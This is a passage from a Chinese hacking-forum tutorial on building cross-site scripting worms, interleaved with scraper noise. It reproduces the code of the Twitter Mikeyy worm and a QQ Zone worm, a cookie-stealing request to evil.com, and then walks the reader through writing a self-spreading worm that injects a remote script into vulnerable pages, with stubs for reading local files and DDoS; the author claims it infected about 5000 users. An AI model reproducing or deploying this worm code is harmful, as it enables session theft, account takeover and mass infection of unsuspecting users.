" i  t0 `, j1 x4 u0 K
XmlHttp.send(null);

% R* i& N' h+ W5 |5 J9 q</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>

7 z% a/ d6 _5 H, hvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
5 a/ y9 K/ x6 r# A) U

% s* T/ u2 M8 k
" h  I8 z" ]/ c  k% x* t2 ~: DXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
$ d) W: T$ b2 a* n$ y4 s, Q
% V! L" f: c1 ^9 }% C2 p4 HXmlHttp.send(null);

<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
# T, c, Y0 C* \复制代码案例:Twitter 蠕蟲五度發威
第一版:
' \* {+ K+ d3 X0 @! g% J$ S1 J  下载 (5.1 KB)

5 _! N0 C( g9 x5 b6 天前 08:27
+ A$ l+ C! P: j& M
第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  

   2.   
% I! R2 i2 K! o% k# }1 ?, T
. A! ]1 @- E; V8 q$ L) b2 I$ f   3. function XHConn(){  

7 g+ u- ?" U3 n) o& G   4.   var _0x6687x2,_0x6687x3=false;  
4 Z, i1 o" ]4 f6 D
: ^0 I; j  k; r9 [  `8 `   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  
6 U0 U+ T# U) y  v: Z! z: V
/ v% @- {: H6 _2 p2 h, M$ C9 V   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
9 D4 m5 c5 {. @
   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  
5 r; x# c- Q5 |1 m: \& z* Z
( {0 E( K% `* O, K- f/ m   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  
! n0 B/ ?7 i2 L- f: t
2 _* y# c7 k7 @9 Z   2.   var content = document.documentElement.innerHTML;  
2 @7 e2 ^- |: p9 r' s  t' Z0 ~
# p6 K% w# \9 y1 n& ~  [   3.   var tmp_cookie=document.cookie;  
* L6 r* t3 G6 ]6 K
   4.   var tmp_posted=tmp_cookie.match(/posted/);  

   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  
8 S! \6 F2 G& C5 D& t7 d& j
   6.   var authtoken=authreg.exec(content);  
, j- o) O1 [# P3 I+ E
   7.   var authtoken=authtoken[1];  

   8.   var randomUpdate= new Array();  
6 |5 m( j; f, w1 |% H4 W
8 g+ d6 D; @5 T# G% X. z   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  
4 x) @, n7 M$ i; [
  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  

  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  

, H% |9 Y# K( ~5 k- o3 ?0 a  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  
9 f  Y3 h0 g' O. w
. u( C4 p- c" I; j& h: e3 M6 @3 R  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
, h/ \+ d: T& Q0 z
) S/ R0 r/ ^* c" @  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

% G0 a' r1 y2 P7 M5 @7 |  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  
5 G" Y6 ]7 c+ ]# }( ?3 M
7 E1 d7 ?% b1 z3 |0 G1 Z  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
3 ]( T- v7 \* ~. s
" T, N* C( r+ A$ W  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
2 v: }  Y* P; U, X% i) W0 `
- d$ \9 k( z4 ~  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  
/ \; _7 v& R! C! h
  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  

  24.     

  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
) U. v. G% _/ }* P& Q
  26.   var updateEncode=urlencode(randomUpdate[genRand]);  
! A! S+ \9 B& @2 z  m
  27.     
" v& Y" Q3 r+ K# ?3 X
  28.   var ajaxConn= new XHConn();  
0 r$ {/ s0 \- M* o1 @  Z6 ?
2 ?% d8 l7 u* ~  w: x, z  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
- A6 ]( t+ x) g$ g. b7 p
  30.   var _0xf81bx1c="Mikeyy";  

  31.   var updateEncode=urlencode(_0xf81bx1c);  

- h% J% [! U" M8 J  32.   var ajaxConn1= new XHConn();  
* @* ~. w, y, G2 D/ C# ?' U6 r
4 d5 I1 T. R+ b. \  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

/ b0 f, h8 W% O  d  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

  35.   var XSS=urlencode(genXSS);  

  36.   var ajaxConn2= new XHConn();  
6 b  u: ~5 c, n$ S& Q$ f% G8 x
  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
0 Q# p, u  V5 h2 F
  38.     

  39. } ;  
1 W6 \7 w) y; i( `# z. q
  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}

- ?  S: |7 v7 v1 G3 {! ^2 T$ gwindow.onerror=killErrors;

4 ]# _: f+ G/ A+ \

% @* _$ K$ d8 j: O9 r9 Mvar shendu;shendu=4;

//---------------global---v------------------------------------------
$ u$ K! M/ x* g: R
//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
$ s/ `( i$ b$ g. d
var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

! h% o  j' x7 g# P' y: nvar myblogurl=new Array();var myblogid=new Array();

) M4 t* E' {: V3 t- N6 ~        var gurl=document.location.href;
+ W; Z) P5 b. q/ M6 @" H
5 M' E* d3 C* b# R/ L2 C" s7 E2 p        var gurle=gurl.indexOf("com/");
1 ~9 ]* _0 Q$ d. Y0 F
6 N! S$ e% I' W0 w( z7 q0 b* T        gurl=gurl.substring(0,gurle+3);        

        var visitorID=top.document.documentElement.outerHTML;

7 ^7 j8 w) r; q6 ?  V           var cookieS=visitorID.indexOf("g_iLoginUin = ");

% u9 r  H+ B' A# ?- @        visitorID=visitorID.substring(cookieS+14);
9 o, i" C& I6 h/ j
        cookieS=visitorID.indexOf(",");

9 f: H# L7 m4 P/ T9 [9 _0 b        visitorID=visitorID.substring(0,cookieS);
  t% e3 U2 ?: |- m6 o3 N5 e
# x9 D9 x# j* B( P0 Y  @        get_my_blog(visitorID);

  H# B4 @5 F5 d" m% z1 a4 f        DOshuamy();
+ K7 q8 ?. I4 A
7 `' X5 @8 G* @3 n

' f6 `- A' Q4 p( l+ Z9 j//挂马
- j% d( i7 t+ a; x6 O4 a
function DOshuamy(){

var ssr=document.getElementById("veryTitle");

5 x; D! X0 ~- t2 }$ [2 |ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
* o0 Y4 {. ~- C) L! @+ h
* i0 F7 u4 J% I; r. y}

4 Q  Q8 v  t. V
+ W  y* i# a4 Y  p5 C# w/ k
//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
5 u) F* h: `( ~! L
  z: Y( }+ `/ n5 R: N: `( i2 mfunction get_my_blog(visitorID){
- `! D8 \& `$ d
6 j& r2 v2 ]1 C$ h. t5 `& y   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

4 H* f7 B% h  e  V   if(xhr){    //成功就执行下面的

; u) ~! ?. U6 X5 ~* v& x# @     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
  Z- S! }! G" B: E0 e. |
     xhr.send();guest=xhr.responseText;

     get_my_blogurl(guest);    //执行这个函数
# Z( o. A' z9 s# G8 N# E" F
# O" G7 q& R& a0 B4 ]% ^) x    }

}
+ Y* b5 Y4 U2 l1 F7 ^- D, d
4 C8 w: F. ?+ m: }) O3 o
2 p8 d& W; z0 W& I. i' i
//这里似乎是判断没有登录的
) U  A9 L; H2 U& L' f
- k3 C2 T# z. |1 M. S% efunction get_my_blogurl(guest){

  var mybloglist=guest;
3 o( F4 t$ s7 n) p
# L" f2 }; o/ @9 n6 o' i  var myurls;var blogids;var blogide;

  x2 ?- I! a# ^. m9 d  for(i=0;i<shendu;i++){
3 J4 D7 g" w' N; A9 r
     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

     if(myurls!=-1){    //找到了就执行下面的
4 I1 b. {) h; @. k( b4 J  m' x. ?
! e, d! ]' l) p  H8 ^         mybloglist=mybloglist.substring(myurls+11);
  [7 O8 Y+ T6 W  B2 j- n
         myurls=mybloglist.indexOf(')');
! C: v+ M, ^9 G& n% H
; {, f2 Y+ `7 F$ }! s         myblogid=mybloglist.substring(0,myurls);

' V6 P- ]/ N' P! x3 l0 n1 g' Q        }else{break;}

}

get_my_testself();    //执行这个函数
* l7 d2 q) t) b
5 s( F, |' x) l; f}
2 T  F7 Q, \  P


//这里往哪跳就不知道了
# f+ F6 p' ]( f# ^
2 Q! b' ]# d9 @  s/ ufunction get_my_testself(){

  for(i=0;i<myblogid.length;i++){    //获得blogid的值

      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
  }, G0 f/ b1 m
      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

      if(xhr2){        //如果成功
. L$ ]7 g3 u1 K
              xhr2.open("GET",url,false);     //打开上面的那个url
5 J, `6 k5 S* e, J+ L/ c% C
              xhr2.send();

$ l& }3 S5 J+ L0 G; t  j              guest2=xhr2.responseText;

              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
. u/ [5 S- p8 R. M- Z
              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

4 o: L+ L/ S$ M5 M  K6 k& L! t8 v              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

                targetblogurlid=myblogid;   
+ [0 ~+ s' V+ J2 p8 }8 m6 q, m
+ {( f/ b8 a! w( }# g                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

# X$ U3 z1 W5 l! ]- O5 P. n                break;
5 e+ Y/ \: a  o# h
               }

' ~1 s1 _/ c  m, G              if(mycheckit=="-1"){

                targetblogurlid=myblogid;

& r3 D3 C: n! R+ q1 E                add_js(visitorID,targetblogurlid,gurl);    //执行它

                break;

               }
, S9 B; |; N0 {, M9 G
        }      
4 i! F+ ^3 |; h" U# S
}
, q& \) y7 Y2 ~) }/ y
}
& u5 j! y) X! x: }7 Z
! |( s; C9 V. G7 H

//--------------------------------------  

//根据浏览器创建一个XMLHttpRequest对象
; [% _, {5 i* h8 n/ U
1 J6 D; f& ?2 |8 H/ `3 _$ L" jfunction createXMLHttpRequest(){

    var XMLhttpObject=null;  

& ?2 `9 o3 A1 L: J* P% L    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
: |, x3 F& v9 s. i# Q
    else  
. u" w( `- O! r/ q; J
      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        

        for(var i=0;i<MSXML.length;i++)  
% I1 o! p: ?/ ]; m/ m8 @2 h# I
+ {; N$ E2 Y6 {0 X7 x" O        {  

# D" g, c! Z7 l1 V, M/ P' K            try  
7 x/ Z* b+ C, W* |" J- c
7 E5 Z% j  y- A1 V& Z8 B2 W1 v8 c1 }            {  
6 j+ s6 q* h4 m5 X$ {( I
8 j! S2 J$ u3 _( a& T- O, l' l  C                XMLhttpObject=new ActiveXObject(MSXML);  

& g6 _% Q. O. A3 }0 s                break;  
3 S. _* w! U; f% I6 |8 \0 H
# P! d# }1 t. a7 |. z            }  

            catch (ex) {  

% _1 c# I8 A" x            }  

2 s4 O8 Z* @! P' \         }  
' h0 _4 X1 s3 \0 f% q4 @1 V
6 a, n9 Q" O( P6 O      }

8 W% L. k2 y# e: Q& D9 ~7 creturn XMLhttpObject;
* p, Y6 t" K4 A: {, Q
}  



3 _, x3 \4 p$ K7 Z//这里就是感染部分了
* {, f% f! @7 Y7 [" i6 _
) [6 L0 N. }. F( ^: Yfunction add_js(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
6 ]' O4 M- S: _: r0 j: Y
s2.type='text/javascript';
" V' T! F4 n0 _% s2 N3 K
1 E6 M7 P9 Z& S8 d$ s) u6 udocument.getElementsByTagName('head').item(0).appendChild(s2);
: B. t' l+ e; }  f9 r8 y
}
1 g) O% \- ?: g  Q) l/ Q

) C8 c1 t. k% \
function add_jsdel(visitorID,targetblogurlid,gurl){
3 n; |  O$ D/ t; p" O5 a
var s2=document.createElement('script');

( L6 w0 g% o% M) L7 Ns2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

) g4 c4 N. @9 o: \! |s2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);
, E% b" y6 b# J$ x# W: K
8 }5 A. h; r8 T" |; J% u5 O( R}
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
0 m( W' [: ]* I) f; E  o3 R' {" U3 N1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
1 i" [4 y; O& E, m, J( g" J+ P
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
. G& W5 e# a/ V7 ]/ c
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
# s3 r% V; l: H$ E5 d) Y

: Z" A% E/ _/ K$ B! J9 \* H7 n5 B8 D下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.

首先,自然是判断不同浏览器,创建不同的对象var request = false;

' o% F) }. w1 @# @7 wif(window.XMLHttpRequest) {
/ l# ]  f% q! z' s8 Y9 J6 W* U
request = new XMLHttpRequest();

if(request.overrideMimeType) {
7 Q9 a3 L! R. p1 n
4 W) P# g5 n0 @( C! w$ `request.overrideMimeType('text/xml');

7 X1 w3 `7 B/ a5 B% H0 G6 Q3 a* N}
1 C9 l3 G: ^- P, [0 G
} else if(window.ActiveXObject) {

) B" r# L" N5 s  v8 xvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

for(var i=0; i<versions.length; i++) {

try {

  p5 ^5 B4 x3 R' yrequest = new ActiveXObject(versions);
/ H) e* G- p$ A% X' J: x8 Q
} catch(e) {}

}
5 c+ S7 k% }5 ~, r6 V3 B
}

xmlHttpReq=request;
2 O, R. z1 H5 u0 B9 g& d复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

        var Browser_Name=navigator.appName;
5 d9 {- j8 d/ M# l* [
        var Browser_Version=parseFloat(navigator.appVersion);
8 i9 \  @# R( Q
        var Browser_Agent=navigator.userAgent;

        
4 S9 o5 a( I8 g+ f3 R* h+ E. Q
& C+ p2 b* w* r1 I3 p        var Actual_Version,Actual_Name;

. j1 P$ x5 @9 Y8 R0 N- `        

        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
) U+ y( w' y  Y) z# A: _" l! t4 e
        var is_NN=(Browser_Name=="Netscape");

        var is_Ch=(Browser_Name=="Chrome");
  T) R# u! {& F. b: b, l' z  g
" u5 l$ a2 e1 w        

8 t" d0 D& r, G' E* Y. {0 C        if(is_NN){
: B9 x6 F4 Z1 B& Z: b6 m) r. ~
            if(Browser_Version>=5.0){

                var Split_Sign=Browser_Agent.lastIndexOf("/");

) W5 f- W. c$ h9 I; ]                var Version=Browser_Agent.indexOf(" ",Split_Sign);

                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
- a, B& |! i6 R/ [% Q' X
  i) O9 W  \' o: a

& ?) L1 O0 A: r/ W5 v6 j( L                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

) Y; a( t) {% i2 I4 _4 S                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

. e- U: z! y6 E1 t3 W            }

+ @+ u3 J+ r! }& Y8 e            else{
2 l  U9 c% ^' j. E+ M8 @
                Actual_Version=Browser_Version;
1 _* B7 [: o1 L3 t, ?
                Actual_Name=Browser_Name;

            }

        }
. L. q2 {1 v9 w* B1 s2 H" L+ W
) X0 p/ ^5 D% E5 N- Z& W0 Q        else if(is_IE){

            var Version_Start=Browser_Agent.indexOf("MSIE");
! @9 V) L8 h" e" J+ P
            var Version_End=Browser_Agent.indexOf(";",Version_Start);

: @- \7 k' ^0 k7 a! ?% F  |0 p            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

# \% N# B, _) i% A# F! q            Actual_Name=Browser_Name;

            
6 z5 l$ X0 u! z% F" P# l0 P# y
" b% N9 |% M$ i7 s" L' n) y! z" V            if(Browser_Agent.indexOf("Maxthon")!=-1){

                Actual_Name+="(Maxthon)";

            }
# w8 q7 z+ N! E' ~2 ^/ M: \
* {. ?% K7 J" a+ h, T            else if(Browser_Agent.indexOf("Opera")!=-1){
$ y; L, B2 g# T4 F# K+ t5 m
                Actual_Name="Opera";

                var tempstart=Browser_Agent.indexOf("Opera");
/ M6 a6 n& [% I$ F8 O" L
                var tempend=Browser_Agent.length;

" x$ K. \/ l4 s: I5 ?9 u+ F                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }
, e% O* G! Z6 ?, Z9 q
        }

  T6 U/ c1 w2 M, ]) o        else if(is_Ch){

            var Version_Start=Browser_Agent.indexOf("Chrome");
) D+ R1 J6 l' S5 z: P
& z# [- i/ y5 F            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

3 X9 ]* d& E- D1 d! j# `            Actual_Name=Browser_Name;
& d4 H5 |2 J0 e& B+ G7 f
. l; @5 \5 l' `) S4 z% N( K            
/ I8 V  \4 C0 C' v3 z
1 V. ?; O4 [/ G            if(Browser_Agent.indexOf("Maxthon")!=-1){

; Q4 W3 I, p" O& c/ n8 o4 ]5 l                Actual_Name+="(Maxthon)";

            }

            else if(Browser_Agent.indexOf("Opera")!=-1){

7 k! u' V, k& F                Actual_Name="Opera";

                var tempstart=Browser_Agent.indexOf("Opera");

/ X) l1 n& l" O9 G- _* b" H6 }                var tempend=Browser_Agent.length;
0 [; z, t4 @- [: J7 V" p( y% A  A4 z
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
/ m1 [6 X. U( @9 N' T" w3 k* O
            }
0 x1 l- r6 O$ {* D* x; ]# i
        }

& \. o, b, N6 D8 s        else{
* }' h1 v0 X. @6 p- d+ c  L& `
1 t( J- M. a7 P6 ~# O- _            Actual_Name="Unknown Navigator"

  O6 j5 {8 H9 [4 `5 I! A- |; h            Actual_Version="Unknown Version"
! K; C' r. V- \. _! v$ v
9 V/ ~7 N0 U; Z. u( c1 k4 t        }

7 u, p+ Q, U5 Z( r) L$ q$ E
, Y: g; {/ e7 K1 G7 J2 o1 s7 ~
        navigator.Actual_Name=Actual_Name;

3 c" H+ ~  A! C4 ^0 @0 d3 j        navigator.Actual_Version=Actual_Version;
  n$ ~* o0 k! L* }4 d, I# {! G
" x/ J5 q9 l4 ^. Q, T' N        
+ P' b% v: T" g! Z3 s0 t9 n- O
8 Z3 v  i; O' Y# E4 |6 a# i; g: P        this.Name=Actual_Name;
: z: A1 o( [6 s" q' D
        this.Version=Actual_Version;

- n! _7 P/ m9 ]% V5 c. A    }
# f4 B5 D7 n4 [7 f, E) g7 b/ g  u
6 E8 [3 _- a. M' c    browserinfo();
  G1 W. \( ^; e0 x# r
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
! I2 m" I9 J5 H; y9 s9 B
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
$ d4 p: t4 d5 r) C  W
$ T/ h. [2 S  ~) P    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
! |! k$ j- ]3 }' P3 r复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
; `/ w( p( w8 H( y) y9 R( v% H复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
+ f$ Y. N% }4 s  p+ @% z$ Y( Y
xmlHttpReq.send(null);
: W  F7 p% L: ^
var resource = xmlHttpReq.responseText;

3 }; X9 o5 M, m0 m$ qvar id=0;var result;

var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

while ((result = patt.exec(resource)) != null)  {
- c4 _; }1 h" V( ?/ Y& o0 J
id++;
- n  r2 R+ v/ d5 ~$ C" t
' E' Q8 x7 |/ M( d0 v5 ]}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.
0 D# o5 }) k8 I* g9 z% z
no=resource.search(/my name is/);
; g; D% }5 t' x2 i# c
6 z- C* x9 ], e7 O( W5 Mvar wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
2 V' o: p( J( k- t
var post="wd="+wd;
' [3 F; y+ h: L# m
/ }5 }  \' l& o& V: A! VxmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.
# W, Y) J8 O& ?% Q
$ g1 t: o/ B" z0 `3 HxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
7 Z' ~9 y+ n: @0 x
xmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

  F! }* r  @) V1 i4 I& F0 _0 `xmlHttpReq.send(post);
3 K" T) A  D0 g$ I' b
}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
( v+ L# c% j" V7 _! x6 I3 \3 c
. d8 ?: W' o+ _! ?/ ^6 Svar namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
+ \1 b# L( m: M6 F
& m1 X) Y9 q0 S$ Gvar wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
- Y3 J  b* V9 p
var post="wd="+wd;
5 p* p/ p  v5 C" e! r
/ ~& g' Y" B! t1 {1 @xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
) k8 k* q2 f1 F+ D( U5 y
4 a. F  k$ b! v  @4 U1 BxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
) x0 D  L& I- r2 B6 z
+ N  h- J+ Y7 q2 q. V7 ]6 h+ fxmlHttpReq.setRequestHeader("content-length",post.length);
8 h, U5 J$ F' a$ i
; a( g6 N1 H6 X5 t6 m; oxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
6 w$ M* L' B/ G$ g2 P) h2 f$ A
& ~0 K7 W; d9 i3 GxmlHttpReq.send(post);                 //把传播的信息 POST出去.

% v/ C7 d+ a2 O% J5 p( u}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------



本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.

. b2 R6 V& e+ u' ?( Y4 u0 Q
1 z, w7 x2 P" `0 C
5 V1 `/ h: _* ~# i$ \* ~
) h/ i, e6 h- i. ^* }* `( z
8 U5 ], S4 Y7 K9 _# F

, {* _& c3 u( N3 N
9 S2 b, \# X4 j; X本文引用文档资料:
/ W4 Q+ Z  X' [
; c2 @- |( d: c) s! r7 M$ H"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
/ C. ], q* @3 M+ M6 U- @: ?( u' }http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
空虚浪子心BLOG http://www.inbreak.net
: Z' E8 K1 s# o7 F; H9 H6 QXeye Team http://xeye.us/

---

欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)

Powered by Discuz! X3.2